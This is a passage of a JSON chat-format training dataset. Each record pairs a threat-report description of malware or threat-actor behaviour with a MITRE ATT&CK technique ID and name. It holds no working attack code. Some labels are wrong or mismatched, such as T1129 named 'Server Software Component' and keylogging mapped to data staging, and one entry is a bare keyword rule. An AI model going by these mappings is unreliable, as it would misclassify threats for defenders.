                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI can collect the current timestamp of the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has used SSL and TLS in communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the command line."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has deployed tools after moving laterally using administrative accounts."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download files remotely."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically (shown below): LinkAutorun The subsystem searches for a LNK file in the target directory, changes the path to “cmd.exe” and the description to ‘ /q /c start “” “%s” &amp;&amp; start “” “%s” ‘ TaskScheduler20Autorun The subsystem creates the ITaskService (works only on Windows Vista+) and uses the ITaskService interface to create a new task with a logon trigger StartupAutorun The subsystem creates a LNK file in %STARTUP% ScreenSaverAutorun The subsystem installs as a current screensaver with a hidden window HiddenTaskAutorun The subsystem creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger start date is set to the creation date of the Windows directory ShellAutorun Winlogon registry [HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon] Shell=”explorer.exe"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 queried the Registry to identify victim information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has performed watering hole attacks."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Equation has been observed utilizing environmental keying in payload delivery."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can deobfuscate packed binaries in memory."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can use WMI for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has been used to run the \"tasklist\" command on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet uses a driver to scan for specific filesystem driver objects."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After connecting to the IRC server, the MPK bot sends custom ping messages and provides an introduction via a “!Hello” message that contains the current logged in user of the infected host, if the user has administrator privileges, the hostname, the UUID of the system, and operating system version"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can retrieve lists of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can download files to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload decrypted at the previous step is a PowerShell reflective loader. It is based on the script Invoke-ReflectivePEInjection.ps1 from the same PowerSploit framework. The executable is hardcoded in the script and is loaded directly into the memory of a randomly chosen process that is already running on the system"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “screenshot” command takes a screenshot that is saved as a.PNG file in “ProgramData“"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has communicated with the C2 server by sending POST requests over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the .lnk file is initialized, it spawns a CMD process"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the victim computer name and encrypts the information to send over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can ZIP directories on the target system."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WMI classes are the primary structure within WMI"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used 7-Zip and WinRAR to compress stolen files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used by  is capable of capturing keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used Ncrack to reveal credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The VBShower backdoor has the same philosophy of the validator version of PowerShower. Its aim is to complicate forensic analysis by trying to delete all the files contained in “%APPDATA%\\..\\Local\\Temporary Internet Files\\Content.Word” and “%APPDATA%\\..\\Local Settings\\Temporary Internet Files\\Content.Word"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack can list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor launched a series of reconnaissance commands to try to obtain and enumerate information about the compromised machine, network architecture, users, and active directory enumeration"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collect + keychain in same sentence"
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian has the ability to use Python to spawn a Unix shell."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has used the AD Explorer tool to enumerate users on a victim's network."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork collected the victim username and whether it was running as admin, then sent the information to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs UAC bypass."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Axiom group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat can download additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS attempts to hide its payloads using legitimate filenames."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a command to perform video device spying."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has sent e-mails with malicious links to credential harvesting websites."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the PuTTY sample discovered on VirusTotal, the malicious code was inserted into the ssh2_userauth_process_queue function (source file: putty-0.77\\ssh\\userauth2-client.c). The code resides in the part of the function responsible for performing password authentication, as opposed to other methods such as public key or keyboard-interactive authentication. Once the user establishes a connection and enters their username and password, the malicious code is executed regardless of the authentication result."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto collects information on bookmarks from Google Chrome."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has installed web shells on exploited Microsoft Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used Tasklist to obtain information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT is capable of manipulating and deleting registry keys, including those used for persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After installation, a keylogging routine begins. The malware writes keystrokes and window information to a filename in the present working directory with the following filename"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used right-to-left-override to obfuscate the filenames of malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit has used DLL Search Order Hijacking to load \"oci.dll\" as a persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell has a module to collect information from the local database."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server. The error code is the value returned by the GetLastError function and sent in the next beacon. This was likely included to help the attackers understand the problem if the backdoor is unable to receive a response (Figure 9). This Cookie header is a unique indicator that can be used for network-based detection"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy has collected information and files from a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "decodes strings in the malware using XOR and RC4."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used VPNs and Outlook Web Access (OWA) to maintain access to victim networks."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NavRAT uses \"tasklist /v\" to check running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nibatad is also a loader that leverages search order hijacking, and downloads an encrypted payload to the infected computer."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a scheduled task to run itself every three minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some resources in Prikormka are encrypted with a simple XOR operation or encoded with Base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, the initialized file downloads multiple malicious payloads from remote servers"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can enumerate information about files from the infected system, including file size, attributes, creation time, last access time, and write time. Rising Sun can enumerate the compilation timestamp of Windows executable files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can download malicious files with a .tmp extension and append them with .exe prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory. It then passes the config buffer to the extracted DLL and calls the exported function (Shellex"
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt uses cmd.exe to create a reverse shell on the infected endpoint."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, in the event Kaspersky is detected, the malware will immediately run the ‘Conime.lnk’ shortcut file in a new process after it is created"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has a keylogging module."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has conducted internal spearphishing from within a compromised organization."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt is one of the most notorious cybercrime operations, with attacks against more than 100 banks across 40 countries attributed to the group. Morphisec Labs believes that the Cobalt Group split following the arrest of one of its top leaders in Spain in March of 2018. While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater. One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Cobalt Group Technical Details . Stage 1 - Word Macro + Whitelisting Bypass . As with many other campaigns, the victim received a document with malicious macro visual basic code. Although the code is heavily obfuscated, the entry point is easily identifiable. The VB code is executed starting from the Frame1_Layout function – this method is used much less frequently than the obvious Document_Open or the AutoOpen. Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by the Cobalt Group against Ukrainian banks. As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript. Organizations should expect to see much more coming from all Cobalt Group factions during the next year"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a keylogger module."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Steals Google Chrome and Apple Safari browser cookies from the victim’s machine - Steals saved usernames and passwords in Chrome - Steals saved credit card credentials in Chrome - Steals iPhone’s text messages if backed up to Mac - Steals cryptocurrency wallet data and keys - Keeps full control of the victim using the EmPyre backdoor - Mines cryptocurrency on the victim’s machine"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader has the ability to self delete."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When checking network connection with the “netstat” command, both cases use the “-naop” option in conjunction with the “tcp“ - Filtering the result, both cases use the “findstr” command instead of “find"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
